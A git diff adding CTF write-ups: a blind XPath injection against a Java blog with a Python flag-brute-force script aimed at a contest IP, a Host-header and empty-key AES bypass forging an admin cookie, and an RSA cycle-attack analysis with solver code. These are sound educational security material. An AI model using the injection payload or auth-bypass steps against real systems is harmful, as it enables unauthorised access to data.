+        r = requests.get(url.format(p+x), headers=headers, allow_redirects=False)
+        if "MARKER" in r.text:
+            p += x
+            break
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/web/myblog.md b/Codegate-2022-quals/web/myblog.md new file mode 100755 index 0000000..5f0e232 --- /dev/null +++ b/Codegate-2022-quals/web/myblog.md @@ -0,0 +1,57 @@ +# Myblog + +**Author**: jkr + +**Tags:** web + +**Points:** 884 (19 solves) + +**Description:** + +> I made a blog. Please check the security. + +myblog is a simple blog that allows registering a user as well as reading and writing blog posts that have a title and content. The complete application logic is in `blogServlet.class`. After decompilation we see the request routing and user/session handling. The only function that is standing out to be exploitable is `doReadArticle()` that gets called when viewing a blog post. + +```java= + private String[] doReadArticle(HttpServletRequest req) { + String id = (String)req.getSession().getAttribute("id"); + String idx = req.getParameter("idx"); + if ("null".equals(id) || idx == null) + return null; + File userArticle = new File(this.tmpDir + "/article/", id + ".xml"); + try { + InputSource is = new InputSource(new FileInputStream(userArticle)); + Document document = DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(is); + XPath xpath = XPathFactory.newInstance().newXPath(); + String title = (String)xpath.evaluate("//article[@idx='" + idx + "']/title/text()", document, XPathConstants.STRING); + String content = (String)xpath.evaluate("//article[@idx='" + idx + "']/content/text()", document, XPathConstants.STRING); + title = decBase64(title.trim()); + content = decBase64(content.trim()); + return new String[] { title, content }; + } catch (Exception e) { + System.out.println(e.getMessage()); + return null; + } + } +``` + +As `idx` parameter is unfiltered and this parameter goes straight into an XPath evaluation we can inject into XPath. Given the flag being placed in `catalina.properties` of tomcat means that the flag will be available as a system property called `flag`. Lucky enough XPath allows to access a system property using `fn:system-property()` as documented in the [XSL function spec](https://www.w3schools.com/xml/func_systemproperty.asp). + +We can use the XPath injection to have an oracle (true/false) using an injected XPath. After creating a blog post containing the word `MARKER` in title and content we use following script to brute the flag content using the true/false oracle of the injection `1' and starts-with(system-property('flag'),'FLAGHERE') or '`: + +```python= +#!/usr/bin/python +import requests, string +headers = {"Cookie":"JSESSIONID=42442D352EBC41CE4FE07B8C0B72820C"} +chars = "abcdef0123456789}{" + +url = 'http://3.39.79.180/blog/read?idx=1%27%20and%20starts-with(system-property(%27flag%27),%27{0}%27)%20or%20%27' +p = 'codegate2022{' +while True: + print p + for x in chars: + r = requests.get(url.format(p+x), headers=headers, allow_redirects=False) + if "MARKER" in r.text: + p += x + break +``` \ No newline at end of file diff --git a/Codegate-2022-quals/web/superbee.html b/Codegate-2022-quals/web/superbee.html new file mode 100755 index 0000000..47ad6ab --- /dev/null +++ b/Codegate-2022-quals/web/superbee.html @@ -0,0 +1,232 @@ + + + + + +superbee | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

superbee

+ +

Author: Andris

+ +

Tags: web

+ +

Points: 100 (89 solves)

+ +

We have an API with the following relevant endpoints: +1) /main/index gives us the flag provided that we have the session cookie set to MD5("admin" + auth_key). +2) /admin/authkey gives us AES-CBC-ENCRYPT(ptxt=auth_key, iv=PADDED(auth_crypt_key), key=PADDED(auth_crypt_key)) if the server’s domain is localhost.

+ +

We are also given this config

+
app_name = superbee
+auth_key = [----------REDEACTED------------]
+id = admin
+password = [----------REDEACTED------------]
+flag = [----------REDEACTED------------]
+
+

which is loaded as follows.

+
app_name, _ = web.AppConfig.String("app_name")
+auth_key, _ = web.AppConfig.String("auth_key")
+auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key")
+admin_id, _ = web.AppConfig.String("id")
+admin_pw, _ = web.AppConfig.String("password")
+flag, _ = web.AppConfig.String("flag")
+
+ +

In order to call endpoint 1 and get the flag, we need to get the auth_key. We can call endpoint 2 by simply manually setting the Host header to localhost. From there we need to compute +AES-CBC-DECRYPT(ctxt=encrypted_auth_key, iv=PADDED(auth_crypt_key), key=PADDED(auth_crypt_key)) +Meaning we need to find out the auth_crypt_key. Since auth_crypt_key is read from the config but not actually stored there, it defaults to "". So by setting the session cookie to +MD5("admin" + AES-CBC-DECRYPT(ctxt=encrypted_auth_key, iv=PADDED(""), key=PADDED(""))) +we can get the flag from endpoint 1.

+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/Codegate-2022-quals/web/superbee.md b/Codegate-2022-quals/web/superbee.md new file mode 100755 index 0000000..759fd99 --- /dev/null +++ b/Codegate-2022-quals/web/superbee.md @@ -0,0 +1,35 @@ +# superbee + +**Author**: Andris + +**Tags:** web + +**Points:** 100 (89 solves) + +We have an API with the following relevant endpoints: +1) `/main/index` gives us the flag provided that we have the session cookie set to `MD5("admin" + auth_key)`. +2) `/admin/authkey` gives us `AES-CBC-ENCRYPT(ptxt=auth_key, iv=PADDED(auth_crypt_key), key=PADDED(auth_crypt_key))` if the server's domain is `localhost`. + +We are also given this config +``` +app_name = superbee +auth_key = [----------REDEACTED------------] +id = admin +password = [----------REDEACTED------------] +flag = [----------REDEACTED------------] +``` +which is loaded as follows. +``` +app_name, _ = web.AppConfig.String("app_name") +auth_key, _ = web.AppConfig.String("auth_key") +auth_crypt_key, _ = web.AppConfig.String("auth_crypt_key") +admin_id, _ = web.AppConfig.String("id") +admin_pw, _ = web.AppConfig.String("password") +flag, _ = web.AppConfig.String("flag") +``` + +In order to call endpoint 1 and get the flag, we need to get the auth_key. We can call endpoint 2 by simply manually setting the `Host` header to `localhost`. From there we need to compute +`AES-CBC-DECRYPT(ctxt=encrypted_auth_key, iv=PADDED(auth_crypt_key), key=PADDED(auth_crypt_key))` +Meaning we need to find out the `auth_crypt_key`. Since `auth_crypt_key` is read from the config but not actually stored there, it defaults to `""`. So by setting the session cookie to +`MD5("admin" + AES-CBC-DECRYPT(ctxt=encrypted_auth_key, iv=PADDED(""), key=PADDED("")))` +we can get the flag from endpoint 1. \ No newline at end of file diff --git a/GCTF-2022/crypto/cycling.html b/GCTF-2022/crypto/cycling.html new file mode 100755 index 0000000..1531ba0 --- /dev/null +++ b/GCTF-2022/crypto/cycling.html @@ -0,0 +1,474 @@ + + + + + +Cycling | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

Cycling

+ +

Author: Robin_Jadoul

+ +

Tags: RSA, factoring

+ +

Points: 201 (50 solves)

+ +

Alternate URL: https://ur4ndom.dev/posts/2022-07-04-gctf-cycling/

+ +

Description:

+ +
+

It is well known that any RSA encryption can be undone by just encrypting the ciphertext over and over again. +If the RSA modulus has been chosen badly then the number of encryptions necessary to undo an encryption is small. +However, if the modulus is well chosen then a cycle attack can take much longer. This property can be used for a timed release of a message. +We have confirmed that it takes a whopping 2^1025-3 encryptions to decrypt the flag. +Pack out your quantum computer and perform 2^1025-3 encryptions to solve this challenge. Good luck doing this in 48h.

+
+ +

Exploring the challenge

+ +

Let’s have a brief look at the source code we’re provided with:

+ +
e = 65537
+n = ... # snip
+ct = ... # snip
+# Decryption via cycling:
+pt = ct
+for _ in range(2**1025 - 3):
+  pt = pow(pt, e, n)
+# Assert decryption worked:
+assert ct == pow(pt, e, n)
+
+# Print flag:
+print(pt.to_bytes((pt.bit_length() + 7)//8, 'big').decode())
+
+ +

In short, we’re faced with an RSA encryption of the flag, and one additional “fact” that’s supposed to help us in some way. +The fact is that when we repeat the encrypting exponentiation $R = 2^{1025} - 3$ times, we achieve the same as decrypting the ciphertext. +Working through the math, this tells us that $x^{e^{R}} \equiv x$ holds, at the very least when $x$ represents the flag.

+ +

A well-known fact when dealing with RSA, and modular exponentiation in general, is that the order of the multiplicative group mod $n$ is equal to the number of integers $< n$ that are coprime to $n$. +This quantity is known as Euler’s totient $\varphi(n)$.

+ +

Furthermore, from Euler’s theorem (or Lagrange’s theorem if we frame it in a group-theoretic way), we know that any number $x$ taken to the $\varphi(n)$th power (mod $n$), results in the identity $1$. +This property is in fact vital for the correctness of RSA, as we rely on the fact that $x^{\varphi(n)} \equiv 1 \pmod n$ when we say that $x^{ed} \equiv \left(x^{\varphi(n)}\right)^k x \equiv x$.

+ +

From all this known theory underlying the RSA cryptosystem, we can now finally make a first deduction: $e^{R + 1} \equiv 1 \pmod{\varphi(n)}$.

+ +

Background: Carmichael’s $\lambda$

+ +

Actually, that previous statement is what you would say with a basic understanding of the principles underlying RSA, but it’s in fact not entirely correct. +It could very well be the case that $x^\ell \equiv 1 \pmod n$ for $\ell < \varphi(n)$. +Moreover, this will for the case for every $x$ when $n = pq$ is an RSA modulus. +One thing that Lagrange’s theorem will still give us, even when $\ell \ne \varphi(n)$, is that $\ell \mid \varphi(n)$.1

+ +

The smallest exponent such that $x^\ell \equiv 1 \pmod n$ for all $x$ is known as the Carmichael function $\lambda(n)$. +We know that $\lambda(n) \mid \varphi(n)$, but we can even write down a nicer formula:2

+ +\[\lambda(p_1^{r_1}p_2^{r_2}\ldots p_m^{r_m}) = \mathrm{lcm}(p_1^{r_1 - 1}(p_1 - 1), \ldots, p_m^{r_m - 1}(p_m - 1))\] + +

which, when we apply this to our RSA modulus $n$, becomes

+ +\[\lambda(pq) = \mathrm{lcm}(p - 1, q - 1)\] + +

Returning to our wrong statement from before, we now know that $e^{R + 1} \equiv 1 \pmod \ell$ where $\ell \mid \lambda(n)$, and furthermore, since $e$ doesn’t look too suspicious, nor can a readable flag be influenced all that much, we can in fact hope that $e^{R + 1} \equiv 1 \pmod{\lambda(n)}$.

+ +

Factors of factors of factors; and some subtractions

+ +

Now that we understand the nuances of the formula $x^\ell \equiv 1$ a bit better, we can think further towards solving this challenge. +Remember what we wrote down earlier?

+ +\[e^{R + 1} \equiv 1 \pmod{\lambda(n)}\] + +

This tells us something more, since we have exactly the form of statement that lead us to introducing $\lambda(n)$ in the first place. +We could now say that $R + 1 \mid \lambda(\lambda(n))$, which gives us a somewhat nice relation between the value $R$ we’d been given, and our RSA modulus $n$.

+ +

Let’s not worry about the possibility that $R + 1$ is only a divisor, and instead assume that it holds with equality $R + 1 = \lambda(\lambda(n))$. +Then we can try to write down what we expect $R + 1$ to be:3

+ +\[\begin{aligned} +R + 1 = \lambda(\lambda(n)) &= \lambda(\mathrm{lcm}(p - 1, q - 1)) \\ + &= \lambda(2s_1s_2\ldots s_m) \\ + &= \mathrm{lcm}(s_1 - 1, \ldots, s_m - 1) +\end{aligned}\] + +

We now would like to relate these values $s_i - 1$ to $R$ somehow. +By the above, it should be clear that any $s_i - 1 \mid R + 1$, so when we list all divisors of $R + 1$ in turn, and add $1$ to them, we should end up with a set of candidates $\mathcal{C}$, such that $\{s_i\}_i \subseteq \mathcal{C}$. +The value $R + 1$ itself is not particularly easy to factor in a short amount of time, but luckily it’s not an esoteric, unknown value, but a nicely structured one. +And as it often happens to nicely structured values, they show up on factordb.

+ +

Who cares if it’s not the private key? It works

+ +

With the set $\mathcal{C}$, what could we do? +One option to consider is applying the same trick again, but using $\mathcal{C}$ rather than the factorization of $R + 1$, to recover $p$ and $q$. +Annoyingly, $\mathcal{C}$ is a rather large set, and enumerating all subsets of it takes exponential time, so we’ll have to throw that idea out.

+ +

Instead, let’s look back at our initial, more naive, understanding of the RSA cryptosystem, where we used $\varphi(n)$ rather than $\lambda(n)$ to compute the decryption exponent $d = e^{-1} \pmod{\varphi(n)}$. +Even though we didn’t have the smallest modulus possible, we still had full correctness, since — as we know by now — $\lambda(n) \mid \varphi(n)$. +We can take that to the extreme: we know/assume that all factors of $\lambda(n)$ are among our values $s_i$, so if we simply take $\Xi = \prod_i s_i$, it should hold that $\lambda(n) \mid \Xi$, and as such, we could use $\Xi$ as a “replacement” for $\lambda(n)$ or $\varphi(n)$ when it comes to computing a decryption exponent.

+ +

With this, we have enough ideas and information to finally solve this challenge4.

+ +
+

CTF{Recycling_Is_Great}

+
+ +

All your factorbase are belong to us

+ +

The official intended solution relies on similar observations, but instead of finding some number $k\lambda(n)$, it uses those potential factors of $\lambda(n)$ to directly factor the modulus $n$.5 +To understand how this factorization works, we look back at a well-known, simple special-purpose factoring algorithm: Pollard’s p - 1 algorithm.

+ +

Pollard’s algorithm allows finding a factor $p$ (say for $n = pq$) under the assumption that $p - 1$ is $B$-powersmooth. +That is, all prime power divisors $s^r \mid p - 1$ are bounded by $s^r < B$. +This property enables us to find some product $M$ of prime powers less than $B$, such that $p - 1 \mid M$ but $q - 1 \nmid M$. +In turn, looking at Fermat’s little theorem, we can see that for all $a$, it holds that $a^M \equiv 1 \pmod p$, but it will often be the case that $a^M \not\equiv 1 \pmod q$, and so looking for $\gcd(a^M - 1, n)$ should allow us to recover $p$. +Traditionally, Pollard’s method computes $a^M \pmod n$ by repeatedly taking $s$th powers of an accumulator and testing whether the $\gcd$ results in a factorization. +The advantage of this is twofold: one doesn’t need to fully compute $M$ in its entirety6 and as long as the largest factor of $p - 1$ differs from the largest factor of $q - 1$,7 the method will still work, rather than yielding $n$ as the $\gcd$.

+ +

To abstract the bound $B$ away, we simply notice that all it gives us is some superset $\mathcal{C}$ of prime (power) factors of $p - 1$. +This is exactly what we already found by enumerating primes $s_i$ such that $s_i - 1 \mid R + 1$! +If we call such a set $\mathcal{C}$ a factor base, and slightly generalize Pollard’s algorithm, we can apply it to our situation as well. +And this is exactly the approach we see in the official solution script: we take some base $a$ (there called $m$), repeatedly exponentiate it by potential prime factors, and check if $\gcd(a’ - 1, n) \notin {1, n}$.

+ +

Once a factorization of $n$ is found, it is of course only a matter of performing regular RSA decryption to obtain the flag.

+ +

Does this always work?

+ +

Until now, we’ve made several assumptions that turned out to be correct, in order to solve this challenge. +Even the official solution turns out to rely on those assumptions,8 so we’d like to have a look at how much trouble we’d be in when the assumptions would be invalidated. +To restate our assumptions more explicitly:

+ +
    +
  1. $R + 1 = \lambda(\lambda(n))$ +
      +
    • The inner $\lambda$ corresponds to the multiplicative order of the flag, $|m| \pmod n$
    • +
    • The outer $\lambda$ corresponds to the multiplicative order of $e$, modulo $|m|$
    • +
    +
  2. +
  3. $p - 1$ and $q - 1$ are square-free, that is, none of their prime factors occur with multiplicity $> 1$.
  4. +
  5. All $s_i - 1$ are square-free, where $s_i \mid \lambda(n)$, but this has been confirmed by the factorization of $R + 1$
  6. +
+ +

And let’s also introduce some counterexamples for all of these, where our assumption is invalidated, and our solution becomes broken:

+ +
    +
  1. We explore the possibility for both $\lambda$s: +
      +
    • Let $n = 77$, then $\lambda(n) = \mathrm{lcm}(6, 10) = 30$, but for the message $m = 15$, it’s already true that $m^5 \equiv 1 \pmod n$, rather than the expected $m^{30}$. +This in turn implies that we only need $e^{R + 1} \equiv 1 \pmod 5$ to complete decrypt this message by cycling.
    • +
    • We now use $n = 989 = 23\times43$, so $\lambda(n) = 2\times3\times7\times11 = 462$ and $\lambda(\lambda(n)) = \mathrm{lcm}(2, 6, 10) = 30$, but for instance $e = 379$ only has multiplicative order $5$ modulo $\lambda(n)$.
    • +
    +
  2. +
  3. Consider $n = 163\times67 = 10921$, then $\lambda(n) = \mathrm{lcm}(2\times3^4, 2\times3\times11) = 2\times3^4\times11 = 1782$. +$\lambda(\lambda(n))$ would then be $2\times3^3\times5$, and we’d never pick up $3^4$ as a potential factor out of any subset.
  4. +
  5. Similar issues to the earlier point occur, except they are introduced slightly later in the process of computing $\lambda(\lambda(n))$.
  6. +
+ +

Other than those assumptions, there’s some more things that can go wrong. +We’ve relied on enumerating all subsets of factors of $R + 1$, but — as we remarked with an initial failed idea of repeating such an enumeration on the result of that — that takes exponential time in the number of factors. +If we end up with a large amount of these factors, we might in fact already get in trouble trying to enumerate all subsets, and spend a long time waiting for that.9 +On the other side of that medallion, to obtain that initial list of factors, we need to be able to factor this value $R + 1$. +Now, if we consider for instance the worst case, where $p$ and $q$ are what we could call doubly-safe primes, i.e. $p = 2(2p’ + 1) + 1$, $p$ and $\frac{p - 1}{2}$ are both safe primes, there’s only a minor difference in number of bits between $n$ and $\lambda(\lambda(n))$ and the latter is even a new RSA modulus. +By assumed security of RSA (unless you get extra information like in this challenge), factoring that would not be feasible.

+ +

Can we fix it?

+ +
+

Yes we can!

+
+ +

Sort of, at least. +Unless my very vague notion from the footnote in the previous section pans out, I don’t expect we could get around the exponential time enumeration, or the factoring problems. +We can however try to fix up some of the problems our assumptions brought along, and get a slightly more generic solution.

+ +

Let’s first look at the case where $|m| < \lambda(n)$. +Since for our original approach, we only care about $m$ itself, and not about factoring, we only need to find a multiple of $|m|$, which we still get from our powerset enumeration (under the assumption, for now, that we get $\lambda(|m|)$). +This means we can still compute an effective decryption exponent that works for $m$ itself, and any element with an order dividing $| m|$. +Moreover, we can still use this to fully factor $n$ too. +Once we decrypt $m$, we know that $m^{k\mid m|} \equiv 1 \pmod n$, which means we can again apply our p - 1 approach with a factor base to find an exponent $M$ such that $m^M \equiv 1 \pmod p$. +Note that we require the use of $m$ as basis here, rather than an arbitrary number $a$. +The only condition under which this will still necessarily fail is when $|m|$ divides $\gcd(p - 1, q - 1)$, since then any exponent such that $m^M \equiv 1 \pmod p$ also satisfies $m^M \equiv 1 \pmod q$.10

+ +

Next, we investigate the case where $R + 1 \ne \lambda(|m|)$. +Unfortunately, the solution here isn’t quite as clean. +When the order of $e$ is too small, we simply lack the information to recover enough primes. +When the order of $e$ is only slightly too small, we should be able to salvage it with only a constant cost to our computation time. +Pick a fixed-size (multi)set of small primes $\mathcal{P}$, and let $\mathcal{C}’ = \mathcal{C} \cup \mathcal{P}$. +This increases the computation time with a factor $2^{|\mathcal{P}|}$, but as long as the “lost” factor of $\lambda(|m|)$ is factorable over $\mathcal{P}$, our algorithm works again. +Optionally, if we would like to deal with more complex situations, we could also construct more complex ways to add extra factors. +For example, an approach comparable to the “two-stage” variant of the p - 1 algorithm is possible, where we take e.g. at most 4 “small” primes and 1 “medium” sized extra prime.

+ +

Finally, how can we deal with the annoyance of prime powers? +To deal with prime power divisors of $\lambda(n)$, it’s possible to apply a strategy similar to the p - 1 factoring algorithm, where every prime factor is simply included multiple times. +Since exponents larger than $2$ can be detected in the factorization of $R + 1$, we recommend including each factor twice, unless evidence to the contrary is present from the factorization of $R + 1$.11 +The more conservative approach would be to include each prime $s$ a number of times proportional to $\frac{\log(n)}{\log(s)}$, which comes at an obvious computational cost. +For the prime power divisors of $\lambda(\lambda(n))$, we’ll need to do just a bit more work. +If we see a prime power $s^r$ when factoring $R + 1$, it should be clear from how $\lambda$ works that we expect to also see the factors of $s - 1$ appear. +In that case, it’s obvious that $s^{r + 1}$ should be in $\mathcal{C}$. +When however $s^2 \mid s_i$, we only see $s$ and the factors of $s - 1$ appear when factoring $R + 1$. +Hence, when we add a prime to $\mathcal{C}$ that still divides $R + 1$, we should add it with a higher multiplicity.

+ +

Talk is cheap, show me the code

+ +

We present here the code as we implemented it during the CTF. +That is, making maximal assumptions such that it still gets the flag. +The code for factorization based on Pollard’s p - 1 algorithm can be found in the official solution. +Interested readers are encouraged to understand, implement and share the suggested improvements of this article :)

+ +
proof.all(False) # speed up primality checking a bit
+import itertools
+from Crypto.Util.number import long_to_bytes
+
+# From the itertools documentation/example
+def powerset(iterable):
+    "powerset([1,2,3]) --> () (1,) (2,) (3,) (1,2) (1,3) (2,3) (1,2,3)"
+    s = list(iterable)
+    return itertools.chain.from_iterable(itertools.combinations(s, r) for r in range(len(s)+1))
+
+# From factordb
+factors = [2, 3, 5, 17, 257, 641, 65537, 274177, 2424833, 6700417, 67280421310721, 1238926361552897, 59649589127497217, 5704689200685129054721, 7455602825647884208337395736200454918783366342657, (2^256+1)//1238926361552897, (2^512+1)//18078591766524236008555392315198157702078226558764001281]
+assert 2**1025-2 == prod(factors)
+
+C = []
+for ps in powerset(factors):
+    v = prod(ps) + 1
+    if is_prime(v):
+        C.append(prod(ps) + 1)
+Ξ = prod(C)
+
+e = 65537
+n = 0x99efa9177387907eb3f74dc09a4d7a93abf6ceb7ee102c689ecd0998975cede29f3ca951feb5adfb9282879cc666e22dcafc07d7f89d762b9ad5532042c79060cdb022703d790421a7f6a76a50cceb635ad1b5d78510adf8c6ff9645a1b179e965358e10fe3dd5f82744773360270b6fa62d972d196a810e152f1285e0b8b26f5d54991d0539a13e655d752bd71963f822affc7a03e946cea2c4ef65bf94706f20b79d672e64e8faac45172c4130bfeca9bef71ed8c0c9e2aa0a1d6d47239960f90ef25b337255bac9c452cb019a44115b0437726a9adef10a028f1e1263c97c14a1d7cd58a8994832e764ffbfcc05ec8ed3269bb0569278eea0550548b552b1
+ct = 0x339be515121dab503106cd190897382149e032a76a1ca0eec74f2c8c74560b00dffc0ad65ee4df4f47b2c9810d93e8579517692268c821c6724946438a9744a2a95510d529f0e0195a2660abd057d3f6a59df3a1c9a116f76d53900e2a715dfe5525228e832c02fd07b8dac0d488cca269e0dbb74047cf7a5e64a06a443f7d580ee28c5d41d5ede3604825eba31985e96575df2bcc2fefd0c77f2033c04008be9746a0935338434c16d5a68d1338eabdcf0170ac19a27ec832bf0a353934570abd48b1fe31bc9a4bb99428d1fbab726b284aec27522efb9527ddce1106ba6a480c65f9332c5b2a3c727a2cca6d6951b09c7c28ed0474fdc6a945076524877680
+
+d = pow(e, -1, Ξ)
+print(long_to_bytes(int(pow(ct, d, n))))
+
+
+
    +
  1. +

    Read as: $\ell$ divides $\varphi(n)$ 

    +
  2. +
  3. +

    For simplicity, we restrict the choices of $p_i^{r_i}$ here to those values where $p_i \ne 2$ or $r_i < 3$, see e.g. the wikipedia page for the full details. 

    +
  4. +
  5. +

    Yet another minor assumption is introduced here, that none of the prime factors we deal with has a higher power than $1$. As we’ll be able to observe from the factorization of $R + 1$ later, this doesn’t seem too unlikely. 

    +
  6. +
  7. +

    […] for the first time. We’ll also look at the intended solution after this, which takes a somewhat similar approach initially, but then applies it to factoring $n$ directly. 

    +
  8. +
  9. +

    In this script, we can also observe a clean explanation of why $R + 1$ can be easily factored or found on factordb: $R + 1 = 2(2^{1024} - 1)$ is twice a Mersenne number

    +
  10. +
  11. +

    Computing all of $M$ would result in a potentially huge number that is unwieldy to work with. 

    +
  12. +
  13. +

    Alternatively, we could reorder the factors in question, replace the notion of “largest” by “latest in the reordered sequence”, though that is less practical from an implementation point of view. 

    +
  14. +
  15. +

    After the end of the CTF, one of the organizers clarified that the challenge description would have better stated that the given number of repetitions works for any exponent $e$. reference

    +
  16. +
  17. +

    This does make me wonder if some other modification of e.g. the p - 1 algorithm might be able to deal with this issue, but so far I’ve been unable to come up with a proper adaptation. I’m always open for comments or ideas if you would happen to have any on this topic. 

    +
  18. +
  19. +

    Taken to the extreme, we might suddenly be able to factorize again, when e.g. $m^2 \equiv 1 \pmod n$. 

    +
  20. +
  21. +

    One exception here might be for powers of $2$, since that’s always the oddest prime, and it behaves differently when computing $\lambda$. 

    +
  22. +
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/GCTF-2022/crypto/cycling.md b/GCTF-2022/crypto/cycling.md new file mode 100755 index 0000000..77da300 --- /dev/null +++ b/GCTF-2022/crypto/cycling.md @@ -0,0 +1,253 @@ +# Cycling + +**Author**: Robin_Jadoul + +**Tags**: RSA, factoring + +**Points**: 201 (50 solves) + +**Alternate URL**: + +**Description**: + +> It is well known that any RSA encryption can be undone by just encrypting the ciphertext over and over again. +> If the RSA modulus has been chosen badly then the number of encryptions necessary to undo an encryption is small. +> However, if the modulus is well chosen then a cycle attack can take much longer. This property can be used for a timed release of a message. +> We have confirmed that it takes a whopping 2^1025-3 encryptions to decrypt the flag. +> Pack out your quantum computer and perform 2^1025-3 encryptions to solve this challenge. Good luck doing this in 48h. + + +## Exploring the challenge + +Let's have a brief look at the source code we're provided with: + +```python +e = 65537 +n = ... # snip +ct = ... # snip +# Decryption via cycling: +pt = ct +for _ in range(2**1025 - 3): + pt = pow(pt, e, n) +# Assert decryption worked: +assert ct == pow(pt, e, n) + +# Print flag: +print(pt.to_bytes((pt.bit_length() + 7)//8, 'big').decode()) +``` + +In short, we're faced with an RSA encryption of the flag, and one additional "fact" that's supposed to help us in some way. +The fact is that when we repeat the encrypting exponentiation $R = 2^{1025} - 3$ times, we achieve the same as decrypting the ciphertext. +Working through the math, this tells us that $x^{e^{R}} \equiv x$ holds, at the very least when $x$ represents the flag. + +A well-known fact when dealing with RSA, and modular exponentiation in general, is that the order of the multiplicative group mod $n$ is equal to the number of integers $< n$ that are coprime to $n$. +This quantity is known as Euler's totient $\varphi(n)$. + +Furthermore, from Euler's theorem (or Lagrange's theorem if we frame it in a group-theoretic way), we know that any number $x$ taken to the $\varphi(n)$th power (mod $n$), results in the identity $1$. +This property is in fact vital for the correctness of RSA, as we rely on the fact that $x^{\varphi(n)} \equiv 1 \pmod n$ when we say that $x^{ed} \equiv \left(x^{\varphi(n)}\right)^k x \equiv x$. + +From all this known theory underlying the RSA cryptosystem, we can now finally make a first deduction: $e^{R + 1} \equiv 1 \pmod{\varphi(n)}$. + +## Background: Carmichael's $\lambda$ + +Actually, that previous statement is what you would say with a basic understanding of the principles underlying RSA, but it's in fact not entirely correct. +It could very well be the case that $x^\ell \equiv 1 \pmod n$ for $\ell < \varphi(n)$. +Moreover, this will for the case for *every* $x$ when $n = pq$ is an RSA modulus. +One thing that Lagrange's theorem will still give us, even when $\ell \ne \varphi(n)$, is that $\ell \mid \varphi(n)$.[^1] + +The *smallest* exponent such that $x^\ell \equiv 1 \pmod n$ for *all* $x$ is known as the Carmichael function $\lambda(n)$. +We know that $\lambda(n) \mid \varphi(n)$, but we can even write down a nicer formula:[^2] + +$$ +\lambda(p_1^{r_1}p_2^{r_2}\ldots p_m^{r_m}) = \mathrm{lcm}(p_1^{r_1 - 1}(p_1 - 1), \ldots, p_m^{r_m - 1}(p_m - 1)) +$$ + +which, when we apply this to our RSA modulus $n$, becomes + +$$ +\lambda(pq) = \mathrm{lcm}(p - 1, q - 1) +$$ + +Returning to our wrong statement from before, we now know that $e^{R + 1} \equiv 1 \pmod \ell$ where $\ell \mid \lambda(n)$, and furthermore, since $e$ doesn't look too suspicious, nor can a readable flag be influenced all *that* much, we can in fact hope that $e^{R + 1} \equiv 1 \pmod{\lambda(n)}$. + +[^1]: Read as: $\ell$ divides $\varphi(n)$ +[^2]: For simplicity, we restrict the choices of $p_i^{r_i}$ here to those values where $p_i \ne 2$ or $r_i < 3$, see e.g. the [wikipedia page](https://en.wikipedia.org/wiki/Carmichael_function) for the full details. + +## Factors of factors of factors; and some subtractions + +Now that we understand the nuances of the formula $x^\ell \equiv 1$ a bit better, we can think further towards solving this challenge. +Remember what we wrote down earlier? + +$$ +e^{R + 1} \equiv 1 \pmod{\lambda(n)} +$$ + +This tells us something more, since we have exactly the form of statement that lead us to introducing $\lambda(n)$ in the first place. +We could now say that $R + 1 \mid \lambda(\lambda(n))$, which gives us a somewhat nice relation between the value $R$ we'd been given, and our RSA modulus $n$. + +Let's not worry about the possibility that $R + 1$ is only a divisor, and instead assume that it holds with equality $R + 1 = \lambda(\lambda(n))$. +Then we can try to write down what we expect $R + 1$ to be:[^3] + +$$ +\begin{aligned} +R + 1 = \lambda(\lambda(n)) &= \lambda(\mathrm{lcm}(p - 1, q - 1)) \\ + &= \lambda(2s_1s_2\ldots s_m) \\ + &= \mathrm{lcm}(s_1 - 1, \ldots, s_m - 1) +\end{aligned} +$$ + +We now would like to relate these values $s_i - 1$ to $R$ somehow. +By the above, it should be clear that any $s_i - 1 \mid R + 1$, so when we list all divisors of $R + 1$ in turn, and add $1$ to them, we should end up with a set of candidates $\mathcal{C}$, such that $\\{s_i\\}_i \subseteq \mathcal{C}$. +The value $R + 1$ itself is not particularly easy to factor in a short amount of time, but luckily it's not an esoteric, unknown value, but a nicely structured one. +And as it often happens to nicely structured values, they show up on [factordb](http://factordb.com/index.php?query=2%5E1025+-+2). + +[^3]: Yet another minor assumption is introduced here, that none of the prime factors we deal with has a higher power than $1$. As we'll be able to observe from the factorization of $R + 1$ later, this doesn't seem too unlikely. + + +## Who cares if it's not *the* private key? It works + +With the set $\mathcal{C}$, what could we do? +One option to consider is applying the same trick again, but using $\mathcal{C}$ rather than the factorization of $R + 1$, to recover $p$ and $q$. +Annoyingly, $\mathcal{C}$ is a rather large set, and enumerating all subsets of it takes exponential time, so we'll have to throw that idea out. + +Instead, let's look back at our initial, more naive, understanding of the RSA cryptosystem, where we used $\varphi(n)$ rather than $\lambda(n)$ to compute the decryption exponent $d = e^{-1} \pmod{\varphi(n)}$. +Even though we didn't have the smallest modulus possible, we still had full correctness, since --- as we know by now --- $\lambda(n) \mid \varphi(n)$. +We can take that to the extreme: we know/assume that all factors of $\lambda(n)$ are among our values $s_i$, so if we simply take $\Xi = \prod_i s_i$, it should hold that $\lambda(n) \mid \Xi$, and as such, we could use $\Xi$ as a "replacement" for $\lambda(n)$ or $\varphi(n)$ when it comes to computing a decryption exponent. + +With this, we have enough ideas and information to finally solve this challenge[^4]. + +> `CTF{Recycling_Is_Great}` + +[^4]: [...] for the first time. We'll also look at the intended solution after this, which takes a somewhat similar approach initially, but then applies it to factoring $n$ directly. + +## All your factorbase are belong to us + +The official [intended solution](https://github.com/google/google-ctf/blob/master/2022/crypto-cycling/src/solve.py) relies on similar observations, but instead of finding some number $k\lambda(n)$, it uses those potential factors of $\lambda(n)$ to directly factor the modulus $n$.[^5] +To understand how this factorization works, we look back at a well-known, simple special-purpose factoring algorithm: [Pollard's `p - 1` algorithm](https://en.wikipedia.org/wiki/Pollard%27s_p_%E2%88%92_1_algorithm). + +Pollard's algorithm allows finding a factor $p$ (say for $n = pq$) under the assumption that $p - 1$ is $B$-powersmooth. +That is, all prime power divisors $s^r \mid p - 1$ are bounded by $s^r < B$. +This property enables us to find some product $M$ of prime powers less than $B$, such that $p - 1 \mid M$ but $q - 1 \nmid M$. +In turn, looking at Fermat's little theorem, we can see that for all $a$, it holds that $a^M \equiv 1 \pmod p$, but it will often be the case that $a^M \not\equiv 1 \pmod q$, and so 